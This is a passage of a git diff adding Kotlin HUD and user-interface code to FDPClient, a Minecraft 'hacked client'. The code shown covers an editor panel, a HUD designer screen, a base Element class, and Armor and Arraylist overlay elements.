ClickGUIModule.colorRedValue.get(), ClickGUIModule.colorGreenValue.get(), ClickGUIModule.colorBlueValue.get()).rgb) + + // Slider changer + if (mouseX >= x + 8 && mouseX <= x + prevWidth && mouseY >= y + height + 9 && mouseY <= y + height + 15 && + Mouse.isButtonDown(0)) { + val curr = MathHelper.clamp_float((mouseX - x - 8F) / (prevWidth - 18F), 0F, 1F) + + value.set(min + (max - min) * curr) + } + + // Change pos + height += 20 + realHeight += 20 + } + + is IntegerValue -> { + val current = value.get() + val min = value.minimum + val max = value.maximum + + // Title + val text = "${value.name}: §c$current" + + Fonts.font35.drawString(text, x + 2, y + height, Color.WHITE.rgb) + + val stringWidth = Fonts.font35.getStringWidth(text) + if (width < stringWidth + 8) { + width = stringWidth + 8 + } + + // Slider + RenderUtils.drawRect(x + 8F, y + height + 12F, x + prevWidth - 8F, y + height + 13F, Color.WHITE) + + // Slider mark + val sliderValue = x + ((prevWidth - 18F) * (current - min) / (max - min)) + RenderUtils.drawRect(8F + sliderValue, y + height + 9F, sliderValue + 11F, y + height + + 15F, Color( + ClickGUIModule.colorRedValue.get(), ClickGUIModule.colorGreenValue.get(), ClickGUIModule.colorBlueValue.get()).rgb) + + // Slider changer + if (mouseX >= x + 8 && mouseX <= x + prevWidth && mouseY >= y + height + 9 && mouseY <= y + height + 15 && + Mouse.isButtonDown(0)) { + val curr = MathHelper.clamp_float((mouseX - x - 8F) / (prevWidth - 18F), 0F, 1F) + + value.set((min + (max - min) * curr).toInt()) + } + + // Change pos + height += 20 + realHeight += 20 + } + + is ListValue -> { + // Title + Fonts.font35.drawString(value.name, x + 2, y + height, Color.WHITE.rgb) + + height += 10 + realHeight += 10 + + // Selectable values + for (s in value.values) { + // Value title + val text = "§c> §r$s" + Fonts.font35.drawString(text, x + 2, y + height, if (s == value.get()) Color.WHITE.rgb else Color.GRAY.rgb) + + val stringWidth = Fonts.font35.getStringWidth(text) + if (width < stringWidth + 8) { + width = stringWidth + 8 + } + + // Select value + if (Mouse.isButtonDown(0) && !mouseDown && mouseX >= x && mouseX <= x + width && + mouseY >= y + height && mouseY <= y + height + 10) { + value.set(s) + } + + // Change pos + height += 10 + realHeight += 10 + } + } + + is FontValue -> { + val fontRenderer = value.get() + + // Title + val text = when (fontRenderer) { + is GameFontRenderer -> "Font: ${fontRenderer.defaultFont.font.name} - ${fontRenderer.defaultFont.font.size}" + Fonts.minecraftFont -> "Font: Minecraft" + else -> "Font: Unknown" + } + + Fonts.font35.drawString(text, x + 2, y + height, Color.WHITE.rgb) + + val stringWidth = Fonts.font35.getStringWidth(text) + if (width < stringWidth + 8) { + width = stringWidth + 8 + } + + if (Mouse.isButtonDown(0) && !mouseDown && mouseX >= x && mouseX <= x + width && + mouseY >= y + height && mouseY <= y + height + 10) { + val fonts = Fonts.getFonts() + + fonts.forEachIndexed { index, font -> + if (font == fontRenderer) { + value.set(fonts[if (index + 1 >= fonts.size) 0 else index + 1]) + return@forEachIndexed + } + } + } + + height += 10 + realHeight += 10 + } + } + } + + // Header + //Gui.drawRect(x, y, x + width, y + 12, Color(0, 0, 0, 150).rgb) + RenderUtils.drawRoundedCornerRect(x.toFloat()-3f, y-1.5F, x + width.toFloat()+4, y + 12F ,3f, Color( + ClickGUIModule.colorRedValue.get(), ClickGUIModule.colorGreenValue.get(), ClickGUIModule.colorBlueValue.get()).rgb) + Fonts.font32.drawString("§l${element.name}", x + 2F, y + 3.5F, Color.WHITE.rgb) + + // Delete button + val deleteWidth = x + width - Fonts.font35.getStringWidth("§lDelete") - 2F + Fonts.font32.drawString("§lDelete", deleteWidth, y + 4F, Color.WHITE.rgb) + if (Mouse.isButtonDown(0) && !mouseDown && mouseX >= deleteWidth && mouseX <= x + width && mouseY >= y && + mouseY <= y + 10) { + FDPClient.hud.removeElement(element) + } + } + + /** + * Drag panel + */ + private fun drag(mouseX: Int, mouseY: Int) { + if (mouseX >= x && mouseX <= x + width && mouseY >= y && mouseY <= y + 12 && Mouse.isButtonDown(0) && + !mouseDown) { + drag = true + dragX = mouseX - x + dragY = mouseY - y + } + + if (Mouse.isButtonDown(0) && drag) { + x = mouseX - dragX + y = mouseY - dragY + } else drag = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/designer/GuiHudDesigner.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/designer/GuiHudDesigner.kt new file mode 100644 index 0000000..02a1bc7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/designer/GuiHudDesigner.kt @@ -0,0 +1,103 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.designer + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.minecraft.client.gui.GuiScreen +import org.lwjgl.input.Keyboard +import org.lwjgl.input.Mouse +import kotlin.math.min + +class GuiHudDesigner : GuiScreen() { + + private var editorPanel = EditorPanel(this, 2, 2) + + var selectedElement: Element? = null + private var buttonAction = false + + override fun initGui() { + Keyboard.enableRepeatEvents(true) + editorPanel = EditorPanel(this, width / 2, height / 2) + } + + override fun drawScreen(mouseX: Int, mouseY: Int, partialTicks: Float) { + FDPClient.hud.render(true, partialTicks) + FDPClient.hud.handleMouseMove(mouseX, mouseY) + + if (!FDPClient.hud.elements.contains(selectedElement)) + selectedElement = null + + val wheel = Mouse.getDWheel() + + editorPanel.drawPanel(mouseX, mouseY, wheel) + + if (wheel != 0) { + for (element in FDPClient.hud.elements) { + if (element.isInBorder(mouseX / element.scale - element.renderX, + mouseY / element.scale - element.renderY)) { + element.scale = element.scale + if (wheel > 0) 0.05f else -0.05f + break + } + } + } + } + + override fun mouseClicked(mouseX: Int, mouseY: Int, mouseButton: Int) { + super.mouseClicked(mouseX, mouseY, mouseButton) + + if (buttonAction) { + buttonAction = false + return + } + + FDPClient.hud.handleMouseClick(mouseX, mouseY, mouseButton) + + if (!(mouseX >= editorPanel.x && mouseX <= editorPanel.x + editorPanel.width && mouseY >= editorPanel.y && + mouseY <= editorPanel.y + min(editorPanel.realHeight, 200))) { + selectedElement = null + editorPanel.create = false + } + + if (mouseButton == 0) { + for (element in FDPClient.hud.elements) { + if (element.isInBorder(mouseX / element.scale - element.renderX, mouseY / element.scale - element.renderY)) { + selectedElement = element + break + } + } + } + } + + override fun mouseReleased(mouseX: Int, mouseY: Int, state: Int) { + super.mouseReleased(mouseX, mouseY, state) + + FDPClient.hud.handleMouseReleased() + } + + override fun onGuiClosed() { + Keyboard.enableRepeatEvents(false) + FDPClient.fileManager.saveConfig(FDPClient.fileManager.hudConfig) + + super.onGuiClosed() + } + + override fun keyTyped(typedChar: Char, keyCode: Int) { + when (keyCode) { + Keyboard.KEY_DELETE -> + if (selectedElement != null) FDPClient.hud.removeElement(selectedElement!!) + + Keyboard.KEY_ESCAPE -> { + selectedElement = null + editorPanel.create = false + } + + else -> FDPClient.hud.handleKey(typedChar, keyCode) + } + + super.keyTyped(typedChar, keyCode) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/Element.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/Element.kt new file mode 100644 index 0000000..b2552e7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/Element.kt @@ -0,0 +1,213 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element + +import net.ccbluex.liquidbounce.injection.access.StaticStorage +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.render.BlurUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.Value +import net.minecraft.entity.player.EntityPlayer +import kotlin.math.abs +import kotlin.math.max +import kotlin.math.min + +/** + * CustomHUD element + */ +abstract class Element( + open var x: Double = 2.0, + open var y: Double = 2.0, + var scale: Float = 1F, + var side: Side = Side.default() +) : MinecraftInstance() { + + val info = javaClass.getAnnotation(ElementInfo::class.java) + ?: throw IllegalArgumentException("Passed element with missing element info") + + val name: String + get() = info.name + + var renderX: Double + get() = when (side.horizontal) { + Side.Horizontal.LEFT -> x + Side.Horizontal.MIDDLE -> (StaticStorage.scaledResolution.scaledWidth / 2) - x + Side.Horizontal.RIGHT -> StaticStorage.scaledResolution.scaledWidth - x + } + set(value) = when (side.horizontal) { + Side.Horizontal.LEFT -> { + x += value + } + Side.Horizontal.MIDDLE, Side.Horizontal.RIGHT -> { + x -= value + } + } + + var renderY: Double + get() = when (side.vertical) { + Side.Vertical.UP -> y + Side.Vertical.MIDDLE -> (StaticStorage.scaledResolution.scaledHeight / 2) - y + Side.Vertical.DOWN -> StaticStorage.scaledResolution.scaledHeight - y + } + set(value) = when (side.vertical) { + Side.Vertical.UP -> { + y += value + } + Side.Vertical.MIDDLE, Side.Vertical.DOWN -> { + y -= value + } + } + + var border: Border? = null + + var drag = false + var prevMouseX = 0F + var prevMouseY = 0F + + protected open val blurValue = FloatValue("Blur", 0f, 0f, 100f).displayable { info.blur } + + /** + * Get all values of element + */ + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this).toMutableList().also { it.add(blurValue) } + + /** + * Called when element created + */ + open fun createElement() = true + + /** + * Called when element destroyed + */ + open fun destroyElement() {} + + /** + * Draw element + */ + abstract fun drawElement(partialTicks: Float): Border? + + /** + * Update element + */ + open fun updateElement() {} + + /** + * Check if [x] and [y] is in element border + */ + open fun isInBorder(x: Double, y: Double): Boolean { + val border = border ?: return false + + val minX = min(border.x, border.x2) + val minY = min(border.y, border.y2) + + val maxX = max(border.x, border.x2) + val maxY = max(border.y, border.y2) + + return minX <= x && minY <= y && maxX >= x && maxY >= y + } + + /** + * render a blur effect at the boarder + */ + open fun drawBoarderBlur(blurRadius: Float = blurValue.get()) { + if (border == null || blurRadius == 0f || border!!.size == 0f) { + return + } + + val posX = this.renderX.toFloat() + border!!.x.coerceAtMost(border!!.x2) + val posY = this.renderY.toFloat() + border!!.y.coerceAtMost(border!!.y2) + val width = abs(border!!.x2 - border!!.x) + val height = abs(border!!.y2 - border!!.y) + + BlurUtils.draw(posX * scale, posY * scale, width * scale, height * scale, blurRadius) + } + + protected fun blur(x: Float, y: Float, x2: Float, y2: Float) { + if (blurValue.get() == 0f) { + return + } + + BlurUtils.draw((renderX + (x.coerceAtMost(x2))).toFloat() * scale, (renderY + (y.coerceAtMost(y2))).toFloat() * scale, abs(x2 - x) * scale, abs(y2 - y) * scale, blurValue.get()) + } + + /** + * Called when mouse clicked + */ + open fun handleMouseClick(x: Double, y: Double, mouseButton: Int) {} + + /** + * Called when key pressed + */ + open fun handleKey(c: Char, keyCode: Int) {} + + /** + * Called when damage sound received + */ + open fun handleDamage(ent: EntityPlayer) {} +} + +/** + * Element info + */ +@Retention(AnnotationRetention.RUNTIME) +annotation class ElementInfo(val name: String, val blur: Boolean = false, val single: Boolean = false, val force: Boolean = false, val disableScale: Boolean = false, val priority: Int = 0, val retrieveDamage: Boolean = false) + +/** + * CustomHUD Side + * + * Allows to change default x and y position by side + */ +class Side(var horizontal: Horizontal, var vertical: Vertical) { + + companion object { + + /** + * Default element side + */ + fun default() = Side(Horizontal.LEFT, Vertical.UP) + } + + /** + * Horizontal side + */ + enum class Horizontal(val sideName: String) { + + LEFT("Left"), + MIDDLE("Middle"), + RIGHT("Right"); + + companion object { + fun getByName(name: String) = values().find { it.sideName == name } + } + } + + /** + * Vertical side + */ + enum class Vertical(val sideName: String) { + + UP("Up"), + MIDDLE("Middle"), + DOWN("Down"); + + companion object { + fun getByName(name: String) = values().find { it.sideName == name } + } + } +} + +/** + * Border of element + */ +data class Border(val x: Float, val y: Float, val x2: Float, val y2: Float) { + + val size = abs(x2 - x) * abs(y2 - y) + + fun draw() = RenderUtils.drawBorderedRect(x, y, x2, y2, 3F, Int.MIN_VALUE, 0) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Armor.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Armor.kt new file mode 100644 index 0000000..5b0ec7a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Armor.kt @@ -0,0 +1,89 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.block.material.Material +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.RenderHelper + +/** + * CustomHUD Armor element + * + * Shows a horizontal display of current armor + */ +@ElementInfo(name = "Armor") +class Armor(x: Double = -8.0, y: Double = 57.0, scale: Float = 1F, + side: Side = Side(Side.Horizontal.MIDDLE, Side.Vertical.DOWN)) : Element(x, y, scale, side) { + + private val modeValue = ListValue("Mode", arrayOf("LiquidBounce", "Exhibition"), "Exhibition") + private val alignment = ListValue("Alignment", arrayOf("Horizontal", "Vertical"), "Horizontal") + + /** + * Draw element + */ + override fun drawElement(partialTicks: Float): Border { + if (mc.playerController.isNotCreative) { + val renderItem = mc.renderItem + val isInsideWater = mc.thePlayer.isInsideOfMaterial(Material.water) + val mode = modeValue.get() + val align = alignment.get() + + var x = 1 + var y = if (isInsideWater) -10 else 0 + + RenderHelper.enableGUIStandardItemLighting() + + for (index in 3 downTo 0) { + val stack = mc.thePlayer.inventory.armorInventory[index] ?: continue + + renderItem.renderItemIntoGUI(stack, x, y) + renderItem.renderItemOverlays(mc.fontRendererObj, stack, x, y) + if (mode.equals("Exhibition", true)) { + RenderUtils.drawExhiEnchants(stack, x.toFloat(), y.toFloat()) + if (align.equals("Horizontal", true)) + x += 16 + else if (align.equals("Vertical", true)) + y += 16 + } else + if (align.equals("Horizontal", true)) + x += 18 + else if (align.equals("Vertical", true)) + y += 18 + } + + if (mode.equals("Exhibition", true)) { + val mainStack = mc.thePlayer.heldItem + if (mainStack != null && mainStack.item != null) { + renderItem.renderItemIntoGUI(mainStack, x, y) + renderItem.renderItemOverlays(mc.fontRendererObj, mainStack, x, y) + RenderUtils.drawExhiEnchants(mainStack, x.toFloat(), y.toFloat()) + } + } + + RenderHelper.disableStandardItemLighting() + GlStateManager.enableAlpha() + GlStateManager.disableBlend() + GlStateManager.disableLighting() + GlStateManager.disableCull() + } + + return if (modeValue.get().equals("Exhibition", true)) { + if (alignment.get().equals("Horizontal", true)) + Border(0F, 0F, 80F, 17F) + else + Border(0F, 0F, 18F, 80F) + } else if (alignment.get().equals("Horizontal", true)) + Border(0F, 0F, 72F, 17F) + else + Border(0F, 0F, 18F, 72F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Arraylist.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Arraylist.kt new file mode 100644 index 0000000..3fef71b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Arraylist.kt @@ -0,0 +1,459 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import codes.som.anthony.koffee.modifiers.private +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.ui.client.hud.designer.GuiHudDesigner +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.client.hud.element.Side.Horizontal +import net.ccbluex.liquidbounce.ui.client.hud.element.Side.Vertical +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.utils.render.* +import net.ccbluex.liquidbounce.utils.render.RenderUtils.createFrameBuffer +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.shader.Framebuffer +import java.awt.Color + +import org.lwjgl.opengl.GL11 + +/** + * CustomHUD Arraylist element + * + * Shows a list of enabled modules + */ +@ElementInfo(name = "Arraylist", blur = true) +class Arraylist( + x: Double = 1.0, + y: Double = 2.0, + scale: Float = 1F, + side: Side = Side(Horizontal.RIGHT, Vertical.UP) +) : Element(x, y, scale, side) { + + private val colorModeValue = ListValue("Text-Color", arrayOf("Custom", "Random", "Rainbow", "AnotherRainbow", "Slowly", "SkyRainbow", "Static"), "AnotherRainbow") + private val colorRedValue = IntegerValue("Text-R", 255, 255, 255) + private val colorGreenValue = IntegerValue("Text-G", 255, 255, 255) + private val colorBlueValue = IntegerValue("Text-B", 255, 255, 255) + private val tagColorModeValue = ListValue("Tag-Color", arrayOf("Custom", "Random", "Rainbow", "AnotherRainbow", "Slowly", "SkyRainbow", "Static"), "Custom") + private val tagColorRedValue = IntegerValue("Tag-R", 195, 0, 255) + private val tagColorGreenValue = IntegerValue("Tag-G", 195, 0, 255) + private val tagColorBlueValue = IntegerValue("Tag-B", 195, 0, 255) + private val speed = IntegerValue("AllSpeed", 0, 0, 400) + private val rectColorModeValue = ListValue("Rect-Color", arrayOf("Custom", "Random", "Rainbow", "AnotherRainbow", "Slowly", "SkyRainbow", "Static"), "AnotherRainbow") + private val rectColorRedValue = IntegerValue("Rect-R", 255, 0, 255) + private val rectColorGreenValue = IntegerValue("Rect-G", 255, 0, 255) + private val rectColorBlueValue = IntegerValue("Rect-B", 255, 0, 255) + private val rectColorBlueAlpha = IntegerValue("Rect-Alpha", 255, 0, 255) + private val saturationValue = FloatValue("Random-Saturation", 0.9f, 0f, 1f) + private val brightnessValue = FloatValue("Random-Brightness", 1f, 0f, 1f) + private val tagsValue = ListValue("TagsStyle", arrayOf("-", "|", "()", "[]", "<>", "Space", "None"), "Space") + private val shadow = BoolValue("ShadowText", true) + private val split = BoolValue("SplitName", false) + private val slideInAnimation = BoolValue("SlideInAnimation", true) + private val noRenderModules = BoolValue("NoRenderModules", false) + private val backgroundColorModeValue = ListValue("Background-Color", arrayOf("Custom", "Random", "Rainbow", "AnotherRainbow", "Slowly", "SkyRainbow", "Static"), "Custom") + private val backgroundColorRedValue = IntegerValue("Background-R", 0, 0, 255) + private val backgroundColorGreenValue = IntegerValue("Background-G", 0, 0, 255) + private val backgroundColorBlueValue = IntegerValue("Background-B", 0, 0, 255) + private val backgroundColorAlphaValue = IntegerValue("Background-Alpha", 0, 0, 255) + private val backgroundExpand = IntegerValue("Background-Expand", 2, 0, 10) + private val rainbowSpeed = IntegerValue("RainbowSpeed", 1, 1, 10) + private val rectValue = ListValue("Rect", arrayOf("None", "Left", "Right", "Outline", "Special", "Top"), "None") + private val caseValue = ListValue("Case", arrayOf("Upper", "Normal", "Lower"), "Normal") + private val spaceValue = FloatValue("Space", 0F, 0F, 5F) + private val textHeightValue = FloatValue("TextHeight", 11F, 1F, 20F) + private val textYValue = FloatValue("TextY", 1F, 0F, 20F) + private val fontValue = FontValue("Font", Fonts.font40) + private val fontAlphaValue = IntegerValue("TextAlpha", 255, 0, 255) + private val shadowShaderValue = BoolValue("Glow", true) + private val shadowNoCutValue = BoolValue("Glow-NoCut", false) + private val shadowStrength = IntegerValue("Glow-Strength", 1, 1, 30) + private val shadowColorMode = ListValue("Glow-Color", arrayOf("Background", "Text", "Custom"), "Background") + private val shadowColorRedValue = IntegerValue("Glow-Red", 0, 0, 255) + private val shadowColorGreenValue = IntegerValue("Glow-Green", 111, 0, 255) + private val shadowColorBlueValue = IntegerValue("Glow-Blue", 255, 0, 255) + private val cRainbowSecValue = IntegerValue("CRainbow-Seconds", 2, 1, 10) + private val cRainbowDistValue = IntegerValue("CRainbow-Distance", 2, 1, 6) + private var x2 = 0 + private var y2 = 0F + private val counter = intArrayOf(0) + + private var modules = emptyList<Module>() + + val delay = intArrayOf(0) + + var bloomFramebuffer: Framebuffer? = null + val textSpacer = textHeightValue.get() + spaceValue.get() + private var rectCode = 0 + val rectWidth = 0 + + private fun shouldExpect(module: Module): Boolean { + return noRenderModules.get() && module.category == ModuleCategory.VISUAL + } + + private fun changeCase(inStr: String): String { + val str = LanguageManager.replace(inStr) + return when (caseValue.get().lowercase()) { + "upper" -> str.uppercase() + "lower" -> str.lowercase() + else -> str + } + } + + private fun getModuleTag(module: Module): String { + module.tag ?: return "" + return when (tagsValue.get().lowercase()) { + "-" -> " - ${module.tag}" + "|" -> "|${module.tag}" + "()" -> " (${module.tag})" + "[]" -> " [${module.tag}]" + "<>" -> " <${module.tag}>" + "space" -> " ${module.tag}" + else -> "" + } + } + + private fun getModuleName(module: Module) = if (split.get()) { module.splicedName } else { module.localizedName } + + override fun drawElement(partialTicks: Float): Border? { + val fontRenderer = fontValue.get() + + for (module in FDPClient.moduleManager.modules) { + if (!module.array || shouldExpect(module) || (!module.state && module.slide == 0F && (module.yPosAnimation == null || module.yPosAnimation!!.state == Animation.EnumAnimationState.STOPPED))) continue + + module.width = fontRenderer.getStringWidth(changeCase(getModuleName(module) + getModuleTag(module))) + + val targetSlide = if (module.state) { module.width.toFloat() } else { 0f } + if (module.slide != targetSlide) { + module.slide = targetSlide + } + } + + // Draw arraylist + val colorMode = colorModeValue.get() + val rectColorMode = rectColorModeValue.get() + val backgroundColorMode = backgroundColorModeValue.get() + val customColor = Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get(), fontAlphaValue.get()) + val tagCustomColor = Color(tagColorRedValue.get(), tagColorGreenValue.get(), tagColorBlueValue.get(), fontAlphaValue.get()) + val rectCustomColor = Color(rectColorRedValue.get(), rectColorGreenValue.get(), rectColorBlueValue.get(), rectColorBlueAlpha.get()) + val space = spaceValue.get() + val textHeight = textHeightValue.get() + val textY = textYValue.get() + val rectMode = rectValue.get() + val backgroundCustomColor = Color(backgroundColorRedValue.get(), backgroundColorGreenValue.get(), backgroundColorBlueValue.get(), backgroundColorAlphaValue.get()) + val textShadow = shadow.get() + val textSpacer = textHeight + space + val saturation = saturationValue.get() + val brightness = brightnessValue.get() + when (side.horizontal) { + Horizontal.RIGHT, Horizontal.MIDDLE -> { + modules.forEachIndexed { index, module -> + val xPos = -module.slide - 2 + val realYPos = if (slideInAnimation.get() && !module.state) { if (side.vertical == Vertical.DOWN) { 0f } else { -textHeight } } else { (if (side.vertical == Vertical.DOWN) -textSpacer else textSpacer) *if (side.vertical == Vertical.DOWN) index + 1 else index } + val yPos = module.yPos + if (yPos != realYPos) { module.yPos = realYPos } + val rectX = xPos - if (rectMode.equals("right", true)) 5 else 2 + } + if (shadowShaderValue.get()) { + GL11.glTranslated(-renderX, -renderY, 0.0) + GL11.glPushMatrix() + ShadowUtils.shadow(shadowStrength.get().toFloat(), { + GL11.glPushMatrix() + GL11.glTranslated(renderX, renderY, 0.0) + modules.forEachIndexed { index, module -> + val xPos = -module.slide - 2 + RenderUtils.newDrawRect( + xPos - if (rectValue.get().equals("right", true)) 3 else 2, + module.yPos, + if (rectValue.get().equals("right", true)) -1F else 0F, + module.yPos + textHeight, + when (shadowColorMode.get().lowercase()) { + "background" -> Color(0,0,0).rgb + "text" -> { + when { + colorModeValue.equals("Random") -> Color.getHSBColor(module.hue, saturation, brightness).rgb + colorModeValue.equals("Rainbow") -> ColorUtils.hslRainbow(index + 1, indexOffset = 100 * rainbowSpeed.get()).rgb + colorModeValue.equals("SkyRainbow") -> ColorUtils.skyRainbow(index, saturationValue.get(), brightnessValue.get(), rainbowSpeed.get().toDouble()).rgb + colorModeValue.equals("Static") -> ColorUtils.StaticRainbow(rainbowSpeed.get(), index + 1).rgb + colorModeValue.equals("Slowly") -> ColorUtils.slowlyRainbow(System.nanoTime(), index * 30 * rainbowSpeed.get(), saturationValue.get(), brightnessValue.get()).rgb + colorModeValue.equals("AnotherRainbow") -> ColorUtils.fade(customColor, 100, index + 1).rgb + else -> customColor.rgb + } + } + else -> Color(shadowColorRedValue.get(), shadowColorGreenValue.get(), shadowColorBlueValue.get()).rgb + } + ) + } + GL11.glPopMatrix() + counter[0] = 0 + }, { + if (!shadowNoCutValue.get()) { + GL11.glPushMatrix() + GL11.glTranslated(renderX, renderY, 0.0) + modules.forEachIndexed { _, module -> + val xPos = -module.slide - 2 + RenderUtils.quickDrawRect( + xPos - if (rectValue.get().equals("right", true)) 3 else 2, + module.yPos, + if (rectValue.get().equals("right", true)) -1F else 0F, + module.yPos + textHeight + ) + } + GL11.glPopMatrix() + } + }) + GL11.glPopMatrix() + GL11.glTranslated(renderX, renderY, 0.0) + } + modules.forEachIndexed { index, module -> + val CRainbow: Int = RenderUtils.getRainbowOpaque(cRainbowSecValue.get(), saturationValue.get(), brightnessValue.get(), counter[0] * (50 * cRainbowDistValue.get())) + val xPos = -module.slide - 2 + val realYPos = if (slideInAnimation.get() && !module.state) { if (side.vertical == Vertical.DOWN) { 0f } else { -textHeight } } else { (if (side.vertical == Vertical.DOWN) -textSpacer else textSpacer) * + if (side.vertical == Vertical.DOWN) index + 1 else index } + val yPos = module.yPos + if (yPos != realYPos) { module.yPos = realYPos } + + val moduleColor = Color.getHSBColor(module.hue, saturation, brightness).rgb + + val rectX = xPos - if (rectMode.equals("right", true)) 5 else 2 + RenderUtils.drawRect( + rectX - backgroundExpand.get(), + yPos, + if (rectMode.equals("right", true)) -3F else 0F, + yPos + textHeight, + when (backgroundColorMode.lowercase()) { + "rainbow" -> ColorUtils.hslRainbow(index + 1, indexOffset = 100 * rainbowSpeed.get()).rgb + "random" -> moduleColor + "CRainbow" -> CRainbow + "skyrainbow" -> ColorUtils.skyRainbow(index, saturationValue.get(), brightnessValue.get(), rainbowSpeed.get().toDouble()).rgb + "Astolfo" -> RenderUtils.Astolfo(index * speed.get(), saturationValue.get(), brightnessValue.get()) + "slowly" -> ColorUtils.slowlyRainbow(System.nanoTime(), index * 30 * rainbowSpeed.get(), saturationValue.get(), brightnessValue.get()).rgb + "anotherrainbow" -> ColorUtils.fade(backgroundCustomColor, 100, index + 1).rgb + else -> backgroundCustomColor.rgb + } + ) + blur( + rectX - backgroundExpand.get(), + yPos, + if (rectMode.equals("right", true)) -3F else 0F, + yPos + textHeight + ) + val mName = changeCase(getModuleName(module)) + val mTag = changeCase(getModuleTag(module)) + fontRenderer.drawString(mName, xPos - if (rectMode.equals("right", true)) 3 else 0, yPos + textY, + when (colorMode.lowercase()) { + "rainbow" -> ColorUtils.hslRainbow(index + 1, indexOffset = 100 * rainbowSpeed.get()).rgb + "random" -> moduleColor + "CRainbow" -> CRainbow + "skyrainbow" -> ColorUtils.skyRainbow(index, saturationValue.get(), brightnessValue.get(), rainbowSpeed.get().toDouble()).rgb + "Astolfo" -> RenderUtils.Astolfo(index * speed.get(), saturationValue.get(), brightnessValue.get()) + "Static" -> ColorUtils.StaticRainbow(rainbowSpeed.get(), index + 1).rgb + "slowly" -> ColorUtils.slowlyRainbow(System.nanoTime(), index * 30 * rainbowSpeed.get(), saturationValue.get(), brightnessValue.get()).rgb + "anotherrainbow" -> ColorUtils.fade(customColor, 100, index + 1).rgb + else -> customColor.rgb + }, textShadow) + + fontRenderer.drawString(mTag, xPos - (if (rectMode.equals("right", true)) 3 else 0) + fontRenderer.getStringWidth(mName), yPos + textY, + ColorUtils.reverseColor(when (tagColorModeValue.get().lowercase()) { + "rainbow" -> ColorUtils.reverseColor(ColorUtils.hslRainbow(index + 1, indexOffset = 100 * rainbowSpeed.get())) + "random" -> Color(moduleColor) + "crainbow" -> Color(RenderUtils.getRainbowOpaque(cRainbowSecValue.get(), saturationValue.get(), brightnessValue.get(), counter[0] * (50 * cRainbowDistValue.get()))) + "skyrainbow" -> ColorUtils.skyRainbow(index, saturationValue.get(), brightnessValue.get(), rainbowSpeed.get().toDouble()) + "Static" -> ColorUtils.StaticRainbow(rainbowSpeed.get(), index + 1) + "slowly" -> ColorUtils.slowlyRainbow(System.nanoTime(), index * 30 * rainbowSpeed.get(), saturationValue.get(), brightnessValue.get()) + "anotherrainbow" -> ColorUtils.reverseColor(ColorUtils.fade(tagCustomColor, 100, index + 1)) + else -> ColorUtils.reverseColor(tagCustomColor) + }).rgb, textShadow) + + if (!rectMode.equals("none", true)) { + val rectColor = when (rectColorMode.lowercase()) { + "rainbow" -> ColorUtils.hslRainbow(index + 1, indexOffset = 100 * rainbowSpeed.get()).rgb + "random" -> moduleColor + "CRainbow" -> CRainbow + "skyrainbow" -> ColorUtils.skyRainbow(index, saturationValue.get(), brightnessValue.get(), rainbowSpeed.get().toDouble()).rgb + "Astolfo" -> RenderUtils.Astolfo(speed.get(), saturationValue.get(), brightnessValue.get()) + "Static" -> ColorUtils.StaticRainbow(rainbowSpeed.get(), index + 1).rgb + "slowly" -> 